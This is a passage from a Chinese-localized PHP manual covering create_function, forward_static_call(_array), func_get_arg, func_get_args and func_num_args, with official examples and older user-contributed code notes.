<?php
$fnc = @create_function('$arg1,$arg2,$arg3', 'return true;');
# make that function whatever you want
if (empty($fnc)) {
  die('Could not create function $fnc.');
}

# although, the follow will NOT work
if (empty(create_function('$arg', 'return $arg;'))) {
  die('Could not create anonymous function.');
}
# you would get an error regarding not being able to use a
# return value in writeable context (i.e. a return value is
# a const in C, and the function empty() doesn't use a
# const void* parameter
?>
david [at] davelee.com.au 13-Apr-2005 02:15
<?php
# dynamically create html helper functions which take the args
# $string_contents, $optional_hash_of_options
# and return the contents wrapped in a tag

$html_funcs = Array(
    'table',
    'tr',
    'th',
    'td',
    'div',
    'span',
    'pre',
    'strong',
    'em'
);
$args = '$html, $options=Array()';
$code = '
  $o = "";
  foreach ($options as $a => $b) {
    $o .= " $a=\"$b\"";
  }
  return "<$tag$o>$html</$tag>";
';
foreach ($html_funcs as $key => $tag) {
    ${$tag} = create_function($args, "\$tag = '$tag'; $code");
}

# usage example:

print $table(
  $tr($th('heading').$td('this is the cell content')),
  Array('style'=>'border: 1px solid silver;')
);
?>
MagicalTux at FF.ST 09-Mar-2004 10:25
neo at gothic-chat d0t de wrote :
Beware of memory-leaks, the garbage-collection seems to 'oversee' dynamically created functions!

Not really...

In fact, PHP can not "unassign" functions. So if you create a function, it won't be deleted until the end of the script, even if you unset the variable containing its name.

If you need to change a part of a function everytime you run a loop, think of a way to make a more general function or try using eval :) (functions are made to be re-used. If you need to run your own piece of code once, eval is much better).
neo at gothic-chat d0t de 20-Jan-2004 08:54
Beware of memory-leaks, the garbage-collection seems to 'oversee' dynamically created functions!

I used a function like this to replace special characters in links with their htmlentities:
<?php
$text = preg_replace_callback (
    "/(<(frame src|a href|form action)=\")([^\"]+)(\"[^>]*>)/i",
    create_function (
        '$matches',
        'return $matches[1] . htmlentities ($matches[3]) . $matches[4];'
    ),
    $text);
?>

After 1000 calls, the process used about 5MB more than before. In my situation this boosted up the memory-size of one PHP-process up to over 100MB!

In such cases, better store the function in a global variable.
nospam at fiderallalla dot de 08-Aug-2003 06:39
Sometimes it may be useful to create functions in a dynamic environment
(f. e. in a daemon-like php script).

Normally declaring a function must be done once, which results in the problem,
that in this special case modifying a function wouldn't have an effect until the script is reloaded.

Maybe this code snipplet is useful 4 u.

File: "functions.inc"

<?php
function test($str) {
    echo $str;
}
?>

Dynamic FunctionHandler:

<?php
$FileName = "functions.inc";
$FileHandle = fopen($FileName,"r");
$FileContent = fread($FileHandle,filesize($FileName));
fclose($FileHandle);

preg_match_all("#function\ ?([a-zA-Z0-9-_]*)\ ?\((.*?)\)\ ?\{(.*?)\}#mixse",$FileContent,$Matches);
if ( is_array($Matches) && isset($Matches[0]) && count($Matches[0]) > 0  ) {
     foreach ( $Matches[0] as $key=>$val ) {
        $$Matches[1][$key] = create_function($Matches[2][$key],$Matches[3][$key]);
    }
}
?>

The Test:
<?php echo $test("test"); ?>
.. will echo "test";

Hans Kuhlen
DB on music_ml at yahoo dot com dot ar 02-Apr-2003 04:58
[EDIT by danbrown AT php DOT net: Combined user-corrected post with previous (incorrect) post.]

You can't refer to a class variable from an anonymous function inside a class method using $this.  Anonymous functions don't inherit the method scope.  You'll have to do this:

<?php
class AnyClass {

 var $classVar = 'some regular expression pattern';

 function classMethod() {

   $_anonymFunc = create_function( '$arg1, $arg2', 'if ( eregi($arg2, $arg1) ) { return true; } else { return false; } ' );

   $willWork = $_anonymFunc('some string', $classVar);

 }

}
?>
ben-php at bacarisse dot btinternet dot co dot uk 26-Jul-2001 01:33
A nice technique for building complex search patterns on lists, files or whatever is to build function combining functions like this:

<?php
function _not_($f) {
  return create_function('$x',
    "return !$f(\$x);");
}

function _and_($f, $g) {
  return create_function('$x',
    "return $f(\$x) && $g(\$x);");
}
?>

(similarly for _or_ and others...).  Once you've built your matching primitives you can then build more complex matches into your script.

Unfortunately, as explained in (closed) bug #10721, the function names returned by create_function have a null byte at the front and this causes a parse error.

You can fix the definition like this:

<?php
function _not_($f) {
  $f = substr($f, 1);
  return create_function('$x',
    "return !call_user_func(chr(0).'$f', \$x)");
}
?>

The expression that re-builds the function name avoid the null being literally in the parsed string.  If there is a better fix, please let me know.
x-empt[a_t]ispep.cx 05-Jul-2001 11:41
Create_function enables the ability to change the scope of functions.  You might have a class where it needs to define a GLOBAL function.  This is possible, like:

<?php
        class blah {
                function blah() {
                        $z=create_function('$arg1string','return "function-z-".$arg1string;');
                        $GLOBALS['z']=$z;
                }
        }
        $blah_object=new blah;

        $result=$GLOBALS['z']('Argument 1 String');
        echo $result;
?>

Making a function escape it's defined scope can be useful in many situations.
maxim at maxim dot cx 27-Apr-2001 03:26
for those who want to assign it's own name to a function consider this code:

<?php
$fname = 'hello';

$func = sprintf('
    function %s($v="") {
        Return "$v<BR>";
    }
',
$fname
);

eval($func);
echo $fname('Please print it.... please....');
?>

what it does is,
: Creats a function as a string;
: Replaces the function name with $fname value;
: Converts the string into a REAL php code with eval()
: Calls the function using the variable function as declared before ($fname);

Simple, isn't it?

Can work well as an abstraction layer for portability and/or compatibility purposes

Maxim Maletsky
maxim@maxim.cx // PHPBeginner.com
mrben at free dot fr 20-Feb-2001 08:33
Here is another tricky but usefull techynote, good for adding "plugin" to a existing class :

<?php

class Hoge {
    var $lamda;
    var $text;

    function set($lamda)
    {
        $this->lamda = $lamda;
    }

    function callLamda()
    {
        $func = $this->lamda;
        return $func($this);
    }

    function get()
    {
        return $this->text;
    }
}

$newfunc = create_function('&$class', 'echo $class->get();' );

$h = new Hoge;
$h->text = "Hi there !";
$h->set($newfunc);
$h->callLamda();

?>
koyama at hoge dot org 14-Dec-2000 04:22
How do you use function which is created by create_function() as class method?

<?php
class Hoge {
  var $lamda;
  function set($lamda) {
    $this->lamda = $lamda;
  }
  function callLamda() {
    $func = $this->lamda;
    return $func();
  }
}

$newfunc = create_function('', 'echo "hoge<br>\n";');

$h = new Hoge;
$h->set( $newfunc );
$h->callLamda();
?>

It works fine. :-)


Call a static method and pass the arguments as array

  • ? create_function
  • forward_static_call ?
  • PHP Manual
  • 函数处理 函数
  • Call a static method and pass the arguments as array

forward_static_call_array

(PHP 5 >= 5.3.0, PHP 7)

forward_static_call_array — Call a static method and pass the arguments as array

说明

forward_static_call_array ( callable $function , array $parameters ) : mixed

Calls a user defined function or method given by the function parameter. This function must be called within a method context, it can't be used outside a class. It uses the late static binding. All arguments of the forwarded method are passed as values, and as an array, similarly to call_user_func_array().

参数

function

The function or method to be called. This parameter may be an array, with the name of the class, and the method, or a string, with a function name.

parameter

One parameter, gathering all the method parameter in one array.

Note:

Note that the parameters for forward_static_call_array() are not passed by reference.

返回值

Returns the function result, or FALSE on error.

范例

Example #1 forward_static_call_array() example

<?php

class A
{
    const NAME = 'A';
    public static function test() {
        $args = func_get_args();
        echo static::NAME, " ".join(',', $args)." \n";
    }
}

class B extends A
{
    const NAME = 'B';

    public static function test() {
        echo self::NAME, "\n";
        forward_static_call_array(array('A', 'test'), array('more', 'args'));
        forward_static_call_array( 'test', array('other', 'args'));
    }
}

B::test('foo');

function test() {
        $args = func_get_args();
        echo "C ".join(',', $args)." \n";
    }

?>

以上例程会输出：

B
B more,args
C other,args

参见

  • forward_static_call() - Call a static method
  • call_user_func() - 把第一个参数作为回调函数调用
  • call_user_func_array() - 调用回调函数，并把一个数组参数作为回调函数的参数
  • is_callable() - 检测参数是否为合法的可调用结构
  • callback 类型的信息

User Contributed Notes

israfilov93 at gmal dot com 15-Aug-2018 07:04
one of academic example, when forward_static_call() can be useful

<?php

class A
{
    public static function test()
    {
        var_dump('we were here');
        return static::class;
    }
}

class B extends A
{
    public static function test()
    {
        return self::class;
    }
}

class C extends B
{
    public static function test()
    {
        $grandParent = get_parent_class(parent::class); // $grandParent is A
        return forward_static_call([$grandParent, __FUNCTION__]); // calls A::test()
    }
}

// prints
// string(12) "we were here"
// string(1) "C"
var_dump(C::test());
nino dot skopac at gmail dot com 30-Jul-2016 02:49
Regarding namespaces:

Be sure to include fully namespaced class path:

<?php
forward_static_call_array(
    array('NAMESPACE\CLASS_NAME', 'STATIC_METHOD'),
    $params
);


Call a static method

  • ? forward_static_call_array
  • func_get_arg ?
  • PHP Manual
  • 函数处理 函数
  • Call a static method

forward_static_call

(PHP 5 >= 5.3.0, PHP 7)

forward_static_call — Call a static method

说明

forward_static_call ( callable $function [, mixed $parameter [, mixed $... ]] ) : mixed

Calls a user defined function or method given by the function parameter, with the following arguments. This function must be called within a method context, it can't be used outside a class. It uses the late static binding.

参数

function

The function or method to be called. This parameter may be an array, with the name of the class, and the method, or a string, with a function name.

parameter

Zero or more parameters to be passed to the function.

返回值

Returns the function result, or FALSE on error.

范例

Example #1 forward_static_call() example

<?php

class A
{
    const NAME = 'A';
    public static function test() {
        $args = func_get_args();
        echo static::NAME, " ".join(',', $args)." \n";
    }
}

class B extends A
{
    const NAME = 'B';

    public static function test() {
        echo self::NAME, "\n";
        forward_static_call(array('A', 'test'), 'more', 'args');
        forward_static_call( 'test', 'other', 'args');
    }
}

B::test('foo');

function test() {
        $args = func_get_args();
        echo "C ".join(',', $args)." \n";
    }

?>

以上例程会输出：

B
B more,args
C other,args

参见

  • forward_static_call_array() - Call a static method and pass the arguments as array
  • call_user_func_array() - 调用回调函数，并把一个数组参数作为回调函数的参数
  • call_user_func() - 把第一个参数作为回调函数调用
  • is_callable() - 检测参数是否为合法的可调用结构
  • callback 类型的信息

User Contributed Notes

jhibbard at gmail dot com 19-Jun-2012 07:55
Example usage via calls outside of the class and within an object:

<?php
/**
 * @author Jonathon Hibbard
 */
class foo {
  # used to verify we're actually setting something..
  private static $value = '';

  /**
   * Simple setter for the static method setValue...
   */
  public static function set($method_identifier, $value_to_pass = '') {
    # make sure we have the right method format...
    # another semi-useful example is like this (useful for REST-like requests...): str_replace(" ", "", ucwords(str_replace("_", " ",  $method_identifier)));
    $static_method = 'set' . ucfirst(strtolower(trim($method_identifier)));

    if(method_exists(__CLASS__, $static_method)) {
      //Note:  this will not work and will throw PHP Parse error:  syntax error, unexpected '::'
      //__CLASS__::$static_method($value_to_pass);

      foo::$static_method($value_to_pass);

      echo "\tCalling forward_static_call with pure string and value param:\n";
      forward_static_call(__CLASS__ . "::" . $static_method, $value_to_pass);

      echo "\tCalling forward_static_call with class, method array and value param:\n";
      forward_static_call(array(__CLASS__, $static_method), $value_to_pass);
    }
  }

  /**
   * Set self::$value to something?
   */
  public static function setValue($value_recieved = '') {
    echo "\t\tsetValue called with param of " . var_export($value_recieved, true) . "!\n";

    echo "\t\tSetting Private 'value'...\n";

    self::$value = $value_recieved;

    echo "\t\tChecking the Private 'value':\n";
    if(!empty(self::$value)) {
      echo "\t\t\tPrivate 'value' was set to '" . self::$value . "' as expected!\n";
    } else {
      echo "\t\t\tPrivate 'value' was not set!\n";
    }

    # Reset...
    self::$value = '';
  }

  /**
   * Create an object and test calling the static method from within this realm...
   */
  public function __construct() {
    echo "\tCalling from within constructor..\n";
    foo::set('value','Something else from within the instance!');
  }
}

echo "\n============ Calling by static method first ============\n";
foo::set('value','Something from outside of the foo class!');

echo "\n============ Calling by static method without a value next ============\n";
foo::set('value');

echo "\n============ Calling by createing an instance next ============\n";
new foo();
?>
arthur dot techarts at gmail dot com 12-Jul-2011 07:39
Example to understand this function and difference with call_user_func:

<?php
class Beer {
    const NAME = 'Beer!';
    public static function printed(){
        echo 'static Beer:NAME = '. static::NAME . PHP_EOL;
    }
}

class Ale extends Beer {
    const NAME = 'Ale!';
    public static function printed(){
        forward_static_call(array('parent','printed'));
        call_user_func(array('parent','printed'));

        forward_static_call(array('Beer','printed'));
        call_user_func(array('Beer','printed'));
    }
}

Ale::printed();
echo '</pre>';
?>


返回参数列表的某一项

  • ? forward_static_call
  • func_get_args ?
  • PHP Manual
  • 函数处理 函数
  • 返回参数列表的某一项

func_get_arg

(PHP 4, PHP 5, PHP 7)

func_get_arg — 返回参数列表的某一项

说明

func_get_arg ( int $arg_num ) : mixed

从用户自定义函数的参数列表中获取某个指定的参数。

该函数可以配合 func_get_args() 和 func_num_args() 一起使用，从而使得用户自定义函数可以接受自定义个数的参数列表。

参数

arg_num

参数的偏移量。函数的参数是从0开始计数的。

返回值

返回指定的参数，错误则返回 FALSE 。

更新日志

版本 | 说明
5.3.0 | 该函数可以在参数列表中使用。
5.3.0 | If this function is called from the outermost scope of a file which has been included by calling include or require from within a function in the calling file, it now generates a warning and returns FALSE. （不知道如何翻译跟好，直接参考例2即可明白）

错误／异常

当在自定义函数的外面调用的该函数的时候会发出一个警告， 或者是当 arg_num 比实际传入的参数的数目大的时候也会发出一个警告。

范例

Example #1 func_get_arg() 例子

<?php
function foo()
{
     $numargs = func_num_args();
     echo "Number of arguments: $numargs<br />\n";
     if ($numargs >= 2) {
         echo "Second argument is: " . func_get_arg(1) . "<br />\n";
     }
}

foo (1, 2, 3);
?>

Example #2 func_get_arg() PHP 5.3 前后对比的例子

test.php
<?php
function foo() {
    include './fga.inc';
}

foo('First arg', 'Second arg');
?>

fga.inc
<?php

$arg = func_get_arg(1);
var_export($arg);

?>

PHP 5.3 版本之前的输出：

'Second arg'

PHP 5.3 和之后的版本的输出:

Warning: func_get_arg():  Called from the global scope - no function
context in /home/torben/Desktop/code/ml/fga.inc on line 3
false

Example #3 func_get_arg() example of byref and byval arguments

<?php
function byVal($arg) {
    echo 'As passed     : ', var_export(func_get_arg(0)), PHP_EOL;
    $arg = 'baz';
    echo 'After change  : ', var_export(func_get_arg(0)), PHP_EOL;
}

function byRef(&$arg) {
    echo 'As passed     : ', var_export(func_get_arg(0)), PHP_EOL;
    $arg = 'baz';
    echo 'After change  : ', var_export(func_get_arg(0)), PHP_EOL;
}

$arg = 'bar';
byVal($arg);
byRef($arg);
?>

以上例程会输出：

As passed : 'bar'
After change : 'bar'
As passed : 'bar'
After change : 'baz'

注释

Note:

因为函数依赖于当前作用域以确定参数的细节，所以在 5.3.0 以前的版本中不能用作函数的参数。如必须传递此值时，可将结果赋与一个变量，然后用此变量进行传递。

Note:

如果参数以引用方式传递，函数对该参数的任何改变将在函数返回后保留。

Note: This function returns a copy of the passed arguments only, and does not account for default (non-passed) arguments.

参见

  • func_get_args() - 返回一个包含函数参数列表的数组
  • func_num_args() - Returns the number of arguments passed to the function

User Contributed Notes

beta3designs [at] gmail [dot] com 06-Jul-2009 06:34
This functions seems so powerful... just when i saw it i thought about writing a fast average of n numbers function so here it is, it is very simple... example usage included.

<?php

//Calculate the average of the numbers given

function avg(){
    $sum = 0;
    for($i = 0; $i < func_num_args(); $i++){
        $sum += func_get_arg($i);
    }
    $avg = $sum / func_num_args();
    return $avg;
}

echo sprintf("%.2f",avg(2,1,2,1,3,4,5,1,3,6));
?>
mw atto lanfear dotto com 07-Dec-2004 02:56
func_get_arg() does not appear to be allowed to be used as a function argument itself within class constructors in PHP 5.0.2 (wonk-ay!!!):

<?php

class ABC
{
    function __construct()
    {
        foreach (func_get_args() as $name => $value)
        {
    echo <<<EOT
    <br/>
    $name : $value <br/>
    <br/>

EOT;
        }
    }
}

class DEF extends ABC
{
    function __construct()
    {
        parent::__construct(func_get_arg(0),
                                    func_get_arg(1),
                                    func_get_arg(2));
    }
}

$def = new DEF(123123, "asdfasdf", "blahblahblah");

?>

The above script generates:

Fatal error: func_get_arg(): Can't be used as a function parameter in c:\Inetpub\wwwroot\phpwasrc\chapter10\xxx.php on line 23

There are, however, no problems when passing these as parameters to regular functions.
anders at ingemann dot fakestuff dot de 03-Jun-2004 06:16
I actually think that there is need for such "do absolutely everything" functions. I use them mostly as tools for rapid prototyping.
And there is a method with which you may be able to pass several strings to a function: ereg();
Another use for such functions is to create little code snippets for other people out there. They won't have to edit the function any longer if they do not use a parameter. They just don't name it when calling the function.
This results in allrounder functions that are very robust in their use.Normally you just have a little code snippet (e.g. ip-blocking snippets). Through this type of programming you have whole functions.
mightye (at) mightye (dot) org 12-Mar-2004 09:45
func_get_arg() returns a *copy* of the argument, to my knowledge there is no way to retrieve references to a variable number of arguments.

I have a module system in my game at http://lotgd.net where I'd like to be able to pass a variable number of arguments to functions in a module, and pass them by reference if the module asks for it by reference, but you can't accept optional parameters as references, nor can you retrieve the reference on a variable number of arguments.  Looks like my modules will have to do with out the ability to accept parameters to their functions by reference.


返回一个包含函数参数列表的数组

  • ? func_get_arg
  • func_num_args ?
  • PHP Manual
  • 函数处理 函数
  • 返回一个包含函数参数列表的数组

func_get_args

(PHP 4, PHP 5, PHP 7)

func_get_args — 返回一个包含函数参数列表的数组

说明

func_get_args ( void ) : array

获取函数参数列表的数组。

该函数可以配合 func_get_arg() 和 func_num_args() 一起使用，从而使得用户自定义函数可以接受自定义个数的参数列表。

返回值

返回一个数组，其中每个元素都是目前用户自定义函数的参数列表的相应元素的副本。

更新日志

版本 | 说明
5.3.0 | 该函数可以在参数列表中使用。
5.3.0 | If this function is called from the outermost scope of a file which has been included by calling include or require from within a function in the calling file, it now generates a warning and returns FALSE. （不知道如何翻译跟好，直接参考例2即可明白）

错误／异常

在用户自定义函数外调用则会出现错误警告。

范例

Example #1 func_get_args() 例子

<?php
function foo()
{
    $numargs = func_num_args();
    echo "Number of arguments: $numargs<br />\n";
    if ($numargs >= 2) {
        echo "Second argument is: " . func_get_arg(1) . "<br />\n";
    }
    $arg_list = func_get_args();
    for ($i = 0; $i < $numargs; $i++) {
        echo "Argument $i is: " . $arg_list[$i] . "<br />\n";
    }
}

foo(1, 2, 3);
?>

以上例程会输出：

Number of arguments: 3<br />
Second argument is: 2<br />
Argument 0 is: 1<br />
Argument 1 is: 2<br />
Argument 2 is: 3<br />

Example #2 PHP 5.3 前后使用 func_get_args() 在的对比

test.php
<?php
function foo() {
    include './fga.inc';
}

foo('First arg', 'Second arg');
?>

fga.inc
<?php

$args = func_get_args();
var_export($args);

?>

PHP 5.3 版本之前的输出：

array (
  0 => 'First arg',
  1 => 'Second arg',
)

PHP 5.3 和之后的版本的输出:

Warning: func_get_args():  Called from the global scope - no function
context in /home/torben/Desktop/code/ml/fga.inc on line 3
false

Example #3 func_get_args() example of byref and byval arguments

<?php
function byVal($arg) {
    echo 'As passed     : ', var_export(func_get_args()), PHP_EOL;
    $arg = 'baz';
    echo 'After change  : ', var_export(func_get_args()), PHP_EOL;
}

function byRef(&$arg) {
    echo 'As passed     : ', var_export(func_get_args()), PHP_EOL;
    $arg = 'baz';
    echo 'After change  : ', var_export(func_get_args()), PHP_EOL;
}

$arg = 'bar';
byVal($arg);
byRef($arg);
?>

以上例程会输出：

As passed : array (
0 => 'bar',
)
After change : array (
0 => 'bar',
)
As passed : array (
0 => 'bar',
)
After change : array (
0 => 'baz',
)

注释

Note:

因为函数依赖于当前作用域以确定参数的细节，所以在 5.3.0 以前的版本中不能用作函数的参数。如必须传递此值时，可将结果赋与一个变量，然后用此变量进行传递。

Note:

如果参数以引用方式传递，函数对该参数的任何改变将在函数返回后保留。

Note: 该函数仅仅是返回传递参数的一个副本，并且不包含没有传入的默认参数。

参见

  • func_get_arg() - 返回参数列表的某一项
  • func_num_args() - Returns the number of arguments passed to the function
  • ReflectionFunctionAbstract::getParameters() - 获取参数

User Contributed Notes

foxkeys at gmail dot com 17-Mar-2016 06:18
Merge func_get_args() with function defaults
<?php
class utils {
  /**
   * @param mixed[] $args
   * @param ReflectionMethod $reflectionMethod
   *
   * @return array
   */
  public static function mergeArgsWithDefaults( $args, \ReflectionMethod $reflectionMethod ) {
    foreach ( array_slice( $reflectionMethod->getParameters(), count( $args ) ) as $param ) {
      /**
       * @var ReflectionParameter $param
       */
      $args[] = $param->getDefaultValue();
    }
    return $args;
  }
}

class  sampleParent {
  const USER_FILE_TYPE_FILE = 'FILE';
  public function select( $idUserFile = null, $idUserFileType = self::USER_FILE_TYPE_FILE ) {
    echo '[$idUserFile=>' . $idUserFile . ', $idUserFileType=>' . $idUserFileType, ']<br/>' . PHP_EOL;
  }
}

class sample extends sampleParent {
  const USER_FILE_TYPE_IMG = 'IMG';
  public function select( $idUserFile = null, $idUserFileType = self::USER_FILE_TYPE_IMG ) {
    return call_user_func_array( 'parent::select', \utils::mergeArgsWithDefaults( func_get_args(), new ReflectionMethod( __CLASS__, __FUNCTION__ ) ) );
  }
}

$sample1 = new sampleParent();
$sample1->select();//Prints "" / self::USER_FILE_TYPE_FILE
$sample1->select(1);//Prints 1 / self::USER_FILE_TYPE_FILE
$sample1->select(2, 'test 1');//Prints 2 / "test 1"
echo '<br/>' . PHP_EOL;
$sample2 = new sample();
$sample2->select();//Prints "" / self::USER_FILE_TYPE_IMG
$sample2->select(3);//Prints 3 / self::USER_FILE_TYPE_IMG
$sample2->select(4, 'test 2');//Prints 4 / "test 2"
?>
maarten at ba dot be 13-Sep-2012 11:58
it seems that this function only returns a copy and loses it's byref information, use this dirty non-efficient workaround instead:

at the moment of writing it currently returns all of them as references, instead of only the ones who are passed that way...

<?php
function func_get_args_byref() {
        $trace = debug_backtrace();
        return $trace[1]['args'];
}
?>
OpenTechnologist 30-Dec-2011 07:54
please note that optional parameters are not seen/passed by func_get_args(), as well as func_get_arg().

ex:

<?php
function testfunc($optional = 'this argument is optional..') {
    $args = func_get_args();
    var_dump($args);
    echo $optional;
}
?>

test case #1:
testfunc('argument no longer optional..');

result for #1:
array(1) {
    [0]=>  string(20) "argument no longer optional.."
}
argument no longer optional..

test case #2:
testfunc('argument no longer optional..','this is an extra argument');

result for #2:
array(2) {
    [0]=>  string(29) "argument no longer optional.."
    [1]=>  string(25) "this is an extra argument"
}
argument no longer optional..

test case #3: -- RESULTS IN AN EMPTY ARRAY
testfunc();

result for #3:
array(0) {
}
this argument is optional..
mitko at edabg dot com 06-Apr-2009 03:48
<?php
/*
This example demonstrate how to use unknown variable arguments by reference.
func_get_args() don't return arguments by reference, but
debug_backtrace() "args" is by reference.
In PHP 5 this have no particular sense, because calling with arguments by reference
is depreciated and produce warning.
*/

class foo {

    var $bar = "default bar";

    function foo(/*variable arguments*/) {
// func_get_args returns copy of arguments
//        $args = func_get_args();
// debug_backtrace returns arguments by reference
        $stack = debug_backtrace();
        $args = array();
        if (isset($stack[0]["args"]))
            for($i=0; $i < count($stack[0]["args"]); $i++)
                $args[$i] = & $stack[0]["args"][$i];
        call_user_func_array(array(&$this, 'bar'), $args);
    }

    function bar($bar = NULL) {
        if (isset($bar))
            $this->bar = & $bar;
    }
}

$global_bar = "bar global";
$foo = & new foo();
echo "foo->bar:    ".$foo->bar."</br>\n";
$foo->bar = "new bar";
echo "global_bar:  ".$global_bar."</br>\n";
/*
Result:
foo->bar:    default bar</br>
global_bar:  bar global</br>
*/

$foo = & new foo(&$global_bar);
echo "foo->bar:    ".$foo->bar."</br>\n";
$foo->bar = "new bar";
echo "global_bar:  ".$global_bar."</br>\n";
/*
Result:
foo->bar:    bar global</br>
global_bar:  new bar</br>
*/

?>
anderson at francotecnologia dot com 26-Aug-2008 11:25
How to create a polymorphic/"overloaded" function

<?php
function select()
{
    $t = '';
    $args = func_get_args();
    foreach ($args as &$a) {
        $t .= gettype($a) . '|';
        $a = mysql_real_escape_string($a);
    }
    if ($t != '') {
        $t = substr($t, 0, - 1);
    }
    $sql = '';
    switch ($t) {
        case 'integer':
            // search by ID
            $sql = "id = {$args[0]}";
            break;
        case 'string':
            // search by name
            $sql = "name LIKE '%{$args[0]}%'";
            break;
        case 'string|integer':
            // search by name AND status
            $sql = "name LIKE '%{$args[0]}%' AND status = {$args[1]}";
            break;
        case 'string|integer|integer':
            // search by name with limit
            $sql = "name LIKE '%{$args[0]}%' LIMIT {$args[1]},{$args[2]}";
            break;
        default:
            // :P
            $sql = '1 = 2';
    }
    return mysql_query('SELECT * FROM table WHERE ' . $sql);
}
$res = select(29); // by ID
$res = select('Anderson'); // by name
$res = select('Anderson', 1); // by name and status
$res = select('Anderson', 0, 5); // by name with limit
?>
ario [a] mail [dot] utexas [dot] edu 07-May-2007 02:50
"Because this function depends on the current scope to determine parameter details, it cannot be used as a function parameter. If you must pass this value, assign the results to a variable, and pass the variable."

This means that the following code generates an error:

<?php

function foo($list)
{
  echo implode(', ', $list);
}

function foo2()
{
  foo(func_get_args());
}

foo2(1, 2, 3);

?>

However, you can easily get around this by doing the following:

<?php

function foo($list)
{
  echo implode(', ', $list);
}

function foo2()
{
  foo($args = func_get_args());
}

foo2(1, 2, 3);

?>

This captures the context from foo2(), making this legal.  You get the expected output:

"1, 2, 3"
T.M. 04-Nov-2004 07:24
Simple function to calculate average value using dynamic arguments:
<?php
function average(){
    return array_sum(func_get_args())/func_num_args();
}
print average(10, 15, 20, 25); // 17.5
?>
daveNO at ovumSPAMdesign dot com 17-Sep-2001 11:29
<?php
// How to simulate named parameters in PHP.
// By Dave Benjamin <dave@ovumdesign.com>

// Turns the array returned by func_get_args() into an array of name/value
// pairs that can be processed by extract().
function varargs($args) {
    $count = count($args);
    for ($i = 0; $i < $count; $i += 2) {
        $result[$args[$i]] = $args[$i + 1];
    }

    return $result;
}

// Example
function test(&$ref1, &$ref2) {
    // Default arguments go here.
    $foo = "oof";

    // Do some magic.
    extract(varargs(func_get_args()));

    echo nl2br("\n\$var1 = $var1");
    echo nl2br("\n\$var2 = $var2");
    echo nl2br("\n\$foo = $foo\n\n");

    // Modify some variables that were passed by reference.
    // Note that func_get_args() doesn't pass references, so they
    // need to be explicitly declared in the function definition.
    $ref1 = 42;
    $ref2 = 84;
}

$a = 5;
$b = 6;

echo nl2br("Before calling test(): \$a = $a\n");
echo nl2br("Before calling test(): \$b = $b\n");

// Try removing the 'foo, "bar"' from the following line.
test($a, $b, var1, "abc", var2, "def", foo, "bar");

echo nl2br("After calling test(): \$a = $a\n");
echo nl2br("After calling test(): \$b = $b\n");
?>
04-Jun-2001 07:44
You can pass a variable number of arguments to a function whilst keeping references intact by using an array. The disadvantage of course, is that the called function needs to be aware that it's arguments are in an array.

<?php
// Prints "hello mutated world"
function mutator($args=null) {
$n=count($args);
while($i<$n) $args[$i++] = "mutated";
}
$a = "hello";
$b = "strange";
$c = "world";
mutator(array($a, &$b, $c));
echo "$a $b $c";
?>


Returns the number of arguments passed to the function

  • ? func_get_args
  • function_exists ?
  • PHP Manual
  • 函数处理 函数
  • Returns the number of arguments passed to the function

func_num_args

(PHP 4, PHP 5, PHP 7)

func_num_args — Returns the number of arguments passed to the function

说明

func_num_args ( void ) : int

Gets the number of arguments passed to the function.

This function may be used in conjunction with func_get_arg() and func_get_args() to allow user-defined functions to accept variable-length argument lists.

返回值

Returns the number of arguments passed into the current user-defined function.

更新日志

版本 | 说明
5.3.0 | This function can now be used in parameter lists.
5.3.0 | If this function is called from the outermost scope of a file which has been included by calling include or require from within a function in the calling file, it now generates a warning and returns -1.

错误／异常

Generates a warning if called from outside of a user-defined function.

范例

Example #1 func_num_args() example

<?php
function foo()
{
    $numargs = func_num_args();
    echo "Number of arguments: $numargs\n";
}

foo(1, 2, 3);
?>

以上例程会输出：

Number of arguments: 3

Example #2 func_num_args() example before and after PHP 5.3

test.php
<?php
function foo() {
    include './fna.php';
}

foo('First arg', 'Second arg');
?>

fna.php
<?php

$num_args = func_num_args();
var_export($num_args);

?>

Output previous to PHP 5.3:

2

Output in PHP 5.3 and later will be something similar to:

Warning: func_num_args():  Called from the global scope - no function
context in /home/torben/Desktop/code/ml/fna.php on line 3
-1

注释

Note:

因为函数依赖于当前作用域以确定参数的细节，所以在 5.3.0 以前的版本中不能用作函数的参数。如必须传递此值时，可将结果赋与一个变量，然后用此变量进行传递。

参见

  • func_get_arg() - 返回参数列表的某一项
  • func_get_args() - 返回一个包含函数参数列表的数组
  • ReflectionFunctionAbstract::getNumberOfParameters() - 获取参数数目

User Contributed Notes

tongcheong77 at gmail dot com 20-Jun-2017 06:12
If you are using PHP 7 and func_num_args is in your base class which you extended, you can pass your arguments with the 'spat' operator.

class Sql {

public function doGetWhere(...$args) {

$num_args = func_num_args();
      $args_list = func_get_args();

      echo '<pre>';
      var_dump($args_list);
      echo '<pre>';
  }
}

class Member extends Sql {

public function getWhere(...$args) {

   $this->doGetWhere(...$args);

      }
}

$member = new Member();
$member->getWhere('first_name','last_name','userlevel','email','where','email','=',$sub_email);

However, take note that if you 'new up' the 'Sql' class in your 'Member' class above, instead of extending it, you will not need to pass your arguments as a variable. Just my two cents. -Bruce tong
luisguillermo dot quevedovelez at gmail dot com 13-Mar-2012 07:32
I had defined a function function_name(){ ...} as a drupal callback.
I try to get how many params where passed

I got a Error and my Site falls down

I've replaced func_get_args() instead func_num_args() and my Site was restored.

I conclude you can not use  func_num_args() in callbacks.

Hope it helps.
Dennis Robinson from basnetworks dot net 29-Jun-2009 09:29
This function comes in handy, and I believe is the only solution, when you have an optional parameter that can take any type of data.

For example:

<?php

// $data can be of any type, including null
function my_function($name, $data = null)
{
    if ($data !== null)
    {
        // Do something with $data
        // If you call my_function('something'), this WILL NOT be reached
        // If you call my_function('something', null), this WILL NOT be reached
    }
}

?>

The problem with the above function is that you will never be able to use null as the value for $data.  To fix this, use func_num_args() like so:

<?php

// $data can be of any type, including null
function my_function($name, $data = null)
{
    if (func_num_args() >= 2)
    {
        // Do something with $data
        // If you call my_function('something'), this WILL NOT be reached
        // If you call my_function('something', null), this WILL be reached
    }
}

?>

This solution works because func_num_args() reports exactly how many arguments were passed when the function was called.  It does not take into account when default argument values are used.
jared at ws-db dot com 06-Sep-2005 09:46
Just a note for anyone wondering. This function doesn't include params that have a default value, unless you pass one in to overwrite the default param value. Not sure if that makes sense, so here's an example:

<?php
function helloWorld($ArgA, $ArgB="HelloWorld!") {
  return func_num_args();
}

// The following will return 1
$Returns1 = helloWorld("HelloWorld!");

// The following will return 2
$Returns2 = helloWorld("HelloWorld!", "HowdyWorld!");
?>
andy at arakka dot co dot th 11-May-2005 07:16
